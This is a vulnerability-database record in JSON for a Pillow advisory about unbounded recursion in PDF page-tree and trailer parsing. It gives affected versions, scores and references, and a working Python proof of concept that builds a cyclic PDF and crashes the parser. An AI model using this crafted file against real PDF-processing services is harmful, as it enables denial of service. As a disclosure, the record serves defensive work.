{"schema":"threatline.record/2","record":{"id":"CVE-2026-112895","aliases":["GHSA-p4wg-p73j-c528"],"summary":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","details":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","categories":["Libraries & packages"],"product":"pillow","vendor":"python-pillow","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","source_modified_at":"2026-10-20T20:50:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"range":">= 5.1.0, < 13.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-112895","source_modified_at":"2026-10-20T16:08:43.138Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Pillow","vendor":"python-pillow","versions":[{"version":">= 5.1.0, < 13.0.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528","source_modified_at":"2026-10-20T21:00:04.433571782Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"pillow","purl":"pkg:pypi/pillow"},"ranges":[{"events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","source_modified_at":"2026-10-20T20:50:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"pillow"},"version":"13.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528","source_modified_at":"2026-10-20T21:00:04.433571782Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"PyPI","name":"pillow","purl":"pkg:pypi/pillow"},"version":"13.0.0"}],"cvss":8.7,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00291,"percentile":0.20604,"score_date":"2026-10-23"},"published_at":"2026-10-19T21:57:14.207Z","modified_at":"2026-10-20T21:00:04.433571782Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T20:50:50Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-112895","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-20T16:08:43.138Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-p4wg-p73j-c528","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-20T21:00:04.433571782Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112895","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528","tags":["x_refsource_CONFIRM"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-20T15:19:07.895448Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-20T21:00:04.433571782Z","content_hash":"0efa40bccecc02aa824fca4c67490f5ca18f8b70e6b205323aa2d05541df0667"}}
